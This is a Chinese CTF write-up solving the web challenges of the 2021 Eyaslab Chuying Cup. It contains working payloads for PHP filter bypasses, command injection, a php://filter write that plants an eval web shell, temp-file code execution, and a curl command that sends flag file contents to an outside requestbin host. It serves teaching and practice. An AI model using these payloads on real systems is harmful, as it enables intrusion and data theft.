2021第一届Eyaslab雏鹰杯Web(全)
flag给你
这题考点flag格式
常见的格式
flag{},ctf{}等等还有些靶场会根据自己的网站来定义,
如:hctf{},FCTF{}等等flag内容,指的是大括号里的内容,
内容不能有空格,特殊字符(除[-,_]外)以后
可能会有中文的flag
序列化
<?php
error_reporting(0);
include "flag.php";
$key = "abcdefg!!!";
$str = $_GET['str'];
if (unserialize($str) === "$key")
{
echo $flag;
}
show_source(__FILE__);
?>
序列化概念
序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
由于这道题没有涉及到类,就简单描述一下
s:10:"abcdefg!!!" s代表字符串
10代表属性名长度
abcdefg!!!属性值
payload:?str=s:10:"abcdefg!!!";
你猜
考点session与post的值相同
直接按猜数字得到flag,如果输入了值,就要重新打开题目得到flag
flag在哪里
考点:响应头携带
flag打开审查元素--> Network-->点击flag在这里,查看响应头,发现是base64,解码得到flag
这里解析一下,为什么要抓包
因为
flag.php会302跳转到404.php,会一瞬间跳转。
不想和你说话
<?php
header("Content-type:text/html;charset=utf8");
error_reporting(e);
include 'flag.php';
$b='ssAEDsssss';
extract($_GET);
if(isset($a))
{
$c=trim(file_get_contents($b));
if($a==$c)
{
echo $myF1ag;
}
else
{
echo '继续努力,相信flag离你不远了';
}
}
?>
file_get_contents — 将整个文件读入一个字符串
它没有找到ssAEDsssss的文件,所以读取的值为空
trim — 去除字符串首尾处的空白字符(或者其他字符)
空加上去除空白字符
payload:?a=
该网站已被黑
查看源代码,没有突破口。robots.txt文件不存在,只能尝试跑一下目录了,拿出《想念初恋》
一顿扫描得到index.php,shell.php
访问
shell.php看看,发现是个大马,没有密码没办法连接,只能暴力解决一顿爆破发现密码
hack
lottery
进来发现是一个抽奖机,常规操作查看源代码,发现一个请求data.php,手动测试几下发现每次返回的值都不一样,也没有其他破绽,接下来一顿请求发现
easygame
这题花费时间比较多,是我想太多了
在访问连接的时候,会出现
GET me Xp0int with values:JNU这时候传参又会出现
Then post me Xp0int with values:JNUJNUPOST请求完,会说你不是管理员
You are not admin!错误思路
思维惯性我以为GET传参后到POST就不是管理员,所以我就把Referer: 改为127.0.0.1,还有拼命改door=1正确解法
就挺简单的加上用
X-Forwarded-For: 127.0.0.1,就得到flag
url
进来后直接下载flag有诡异,打开后发现
flag不在这里,在仔细找找哦!回到下载前,查看源代码,发现
flag.php,访问flag.php啥也没有,又被骗了认真的看发现
?file=flag.txt,把flag.php包含进来如:?file=flag.php下载一看,还要解码
解码代码
<?php $key = md5 ( "ctf" ); $x = 0; $data = base64_decode ( "xWqammfJaWrGm5yayJttaGiTlJRsbGrMmWxqa2fMm50=" ); $len = strlen ( $data ); $l = strlen ( $key ); for($i = 0; $i < $len; $i ++) { if ($x == $l) { $x = 0; } $char .= substr ( $key, $x, 1 ); $x ++; } for($i = 0; $i < $len; $i ++) { if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) { $str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) ); } else { $str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) ); } } echo $str; ?>
你算的太慢
这题考点是脚本编写,有的 师傅就反驳了,我算的快不行呀(当然可以,只要师傅够快,手动没得问题)
下面提供
payload
# -*- codeing:utf-8 -*-
# @Time : 2020/12/27 15:35
# @Author : 非鱼
# @File : hello
# @Software : PyCharm
import requests
import re #//正则表达式
url = 'http://10.20.105.228:8807/'
head = {'Cookie': 'PHPSESSID=ce8d525d1e018262e749da3fc35fbcd7'}
source = requests.get(url, headers=head).content.decode('utf-8')
expression = re.search(r'(\d+[+*])+(\d+[+*])+\((\d+[+*])+(\d+)\)', source).group()
print(expression)
val = str(eval(expression))
print(val)
print("--")
post = {'result': val}
result = requests.post(url, headers=head, data=post).content.decode('utf-8')
print(result)
sha
这题考点是MD5强碰撞
md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以“0E”开头的,那么PHP将会认为他们相同,都是0。用数组传参,就可以绕过
md5
常规操作,查看源代码,发现
G4YTONZWGU======.php,文件名被加密了,看起来像base64加密解压发现失败,认真的去了解一遍
base加密Base16编码
Base16编码就是将ASCII字符集中可打印的字符(
数字0~9和字母A~F)对应的二进制字节数据进行编码,编码的方式:1.将数据(根据ASCII编码,UTF-8编码等)转成对应的二进制数,不足8比特位高位补0.然后将所有的二进制全部串起来,4个二进制位为一组,转化成对应十进制数.
2.根据十进制数值找到Base16编码表里面对应的字符.Base16是4个比特位表示一个字符,所以原始是1个字节(8个比特位)刚好可以分成两组,也就是说原先如果使用ASCII编码后的一个字符,现在转化成两个字符.数据量是原先的2倍.
Base32编码
与Base16编码区别的是,Base32使用了ASCII编码中可打印的32个字符(大写字母AZ和数字27)对任意字节数据进行编码.Base32将串起来的二进制数据按照5个二进制位分为一组,由于传输数据的单位是字节(即8个二进制位).所以分割之前的二进制位数是40的倍数(40是5和8的最小公倍数).如果不足40位,则在编码后数据补充"=",一个"="相当于一个组(5个二进制位),编码后的数据是原先的8/5倍.
这里发现必须base32
G4YTONZWGU======解码得到717765,接着访问没有该文件
看了一下ascii表发现717765就是qwe
直接在url后接上qwe.php,发现什么也没有
最后去问问出题人,出题人说要填表单cookie才会有door
<?php $a = @$_POST['a']; $b = @$_POST['b']; setcookie("door",0, time()+3600*24); if (!(isset($a)) && !(isset($b))){ echo "You have no value"; die(); } if (strlen($a) > 11){ echo "to long"; die(); } $hack = @$_GET['hack']; $rep = @$_GET['rep']; if ((strlen($hack) >=6) || (strlen($rep) >=6 )){ echo "h OR r No,worng!<br />"; die(); } $str1 = hash('md5',$a,false); $str2 = strstr(hash('md5',$b,false),$hack,$rep); echo "str1:".$str1; echo '<br />'; echo "str2:".$str2; echo '<br />'; if (($str1 == $str2) && !($a == $b) ) { include('qwe.php'); echo "flag:".$flag; } ?>这题考的是md5弱碰撞
这里也可以用数组绕过a[]=1&b[]=2,还有一个关键点rep,经过查php手册可以知道rep=true,hack=6
得到flag
ping
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'head' => '',
'ls' => '',
'cat' => '',
'flag' => '',
'<' => '',
' ' => '',
'&' => '',
'|' => '',
'-' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 1 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>
看到代码用数组去匹配关键字
这里看到关键字替换为空,思路一下就是
双写绕过第一个问题
两个语句如何执行
常见的管道符有
|,&,||,&& 但是都被过滤了,这里讲解一下过滤后为什么不行,用
|为例:我们在上面已经有思路了是双写绕过
|-->||由于||又会替换成空,这时候有人会说那我写成|||不就行了嘛,由于str_replace函数是 精准匹配,没有匹配到
|||,加上系统无法识别|||,直接导致执行失败。 这里要去看看linux系统命令,发现分号作为一条语句的结束,所以我们用分号
payload:;llss ls命令查看当前文件夹的文件
flag,index.php
第二个问题
如何查看flag(一)
常见的命令有
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev 上面看到cat命令被过滤了,而你非要用cat命令,这时候也是可以的,方法有
ca''t,ca\t等等,在这就一 一举例了如何查看flag(二)
常见的命令有
%20(空格)、 %09(tab)、$IFS$9、 ${IFS}、$IFS%09(tab)、< 、<>、%20(space)等如何查看flag(三)
看代码发现flag被替换成空了
方法有,双写绕过,linux系统特性
payload:;tac%09flaflagg
满意的数字
常规操作,查看源代码,发现index.php.txt访问,得到php代码
<?php header ( 'Content-Type: text/html; charset=utf-8' ); // 网页编码 error_reporting ( 0 ); $flag = "*******************"; //echo $_POST['num']; if (isset ( $_POST ['num'] )) { if (@ereg ( "^[1-9]+$", $_POST['num'] ) === FALSE) echo '说好的数字呢?'; else if (strpos ( $_POST['num'], '#testaasafd' ) !== FALSE) die ( 'Flag: ' . $flag ); else echo '你的数字不太符合我的心意哦!'; } ?>strpos — 查找字符串首次出现的位置
参数一:在该字符串中进行查找。
参数二:如果 needle 不是一个字符串,那么它将被转换为整型并被视为字符的顺序值。
babyphp
分析代码
<?php highlight_file('source.txt'); echo "<br><br>"; $flag = 'xxxxxxxx'; $msg_giveme = 'Give me the flag!'; $msg_getout = 'No this. Get out!'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($msg_giveme); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($msg_getout); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo 'the flag is : ' . $flag; ?>这里看关键代码21行-22行
foreach ($_GET as $key => $value) { $$key = $$value; //注意这里是在大括号中,不是在函数中,不是临时变量。 } //重点在这里, 这里就变成了 ${$key}=${$value} //这里也就是说 假设 $key=aaa 拿就是 $aaa = ${$value} //如果按上面里面加载的是变量flag 那么如果 $aaa=$flag 那么 $aaa="flag{1111111}"; 过关密钥对吧。payload:
?msg_giveme=flag&flag=msg_giveme
不难的
考点:php伪协议特殊操作
先看代码
<?php include('hint.php'); $data = $_GET["data"]; if(isset($data)&&(file_get_contents($data,'r')==="Welcome to jmpt CTF")){ echo $hint; } if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('a,各位师傅太能秀了!');?>".$content); }else{ highlight_file(__FILE__); }由于权限的问题,只有upload文件夹才有写权限,data就是给师傅们测试用的
从代码来看php伪协议常见的
协议和特殊字符都被替换为???再来看看
file_put_contents(urldecode($file), "<?php die('a,各位师傅太能秀了!');?>".$content);第一个参数:写入数据的文件名
第二个参数:写入的数据
里面有一个url解码
urldecode($file),并且要加上url编码再加上浏览器自动url编码,总共两次url编码即可什么叫浏览器自动编码,在你访问
有中文或者特殊字符的url连接的时候就会发现php伪协议:用写文件php://filter/write=convert.base64-decode/resource=upload/1.php
payload:
?file=%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%37%35%25%37%30%25%36%43%25%36%46%25%36%31%25%36%34%25%32%46%25%33%31%25%32%45%25%37%30%25%36%38%25%37%30在代码中还会看到有一个POST请求
传入的内容会与
<?php die('a,各位师傅太能秀了!');?>进行拼接上面用的是base64解码写入,所以
<?php die('a,各位师傅太能秀了!');?>解码后会只有phpdiea要匹配base64解码,因为base64解码是4个4个的来,所以在POST请求要加上一个字母。如:
aPD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk/Pg==,才能正常解码接着蚁剑连接,拿到flag
qiongqiong
源代码
<?php show_source(__FILE__); if(isset($_GET['a'])){ $feiyu=$_GET['a']; if(preg_match("/[A-Za-oq-z0-9$]+/",$feiyu)){ die("No1 Die"); } if(preg_match("/\~|\!|\@|#\|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$feiyu)){ die("No2 Die"); } eval($feiyu); } ?>认真观察会发现,第一次过滤没有过滤
p字母,这时候联想临时文件上传,临时文件上传默认设置在/tmp目录下这里没看前菜的话,我就解析一下,前面的是临时文件上传,但临时文件上传的默认位置是/tmp/下,
临时文件名是固定长度的,临时名有三个字母是固定格式php??????的,?号代表随机生成临时文件上传payload
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://81.70.105.149:8005/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>接着抓包
payload:?a=?><?=`.%20/??p/p?p??????`;//
Simple
考点:curl
这里就不详描述curl,请师傅们自行百度
在这里讲解一下原理,原理其实和DNSlog注入一样
就是利用DNS记录带出想要的数据,但是DNS不允许带出
数字,字母,个别的特殊字符之外的字符先看看payload助于理解,
payload:?c=`$c`;curl%20http://requestbin.net/r/vsqercvs?a=`cat%20f*|grep%20flag|base64`;
cat%20f*|grep%20flag|base64后面这一段是用来查找flag的用base64完全吻合带出的字母
还有很多解法,师傅们慢慢研究







浙公网安备 33010602011771号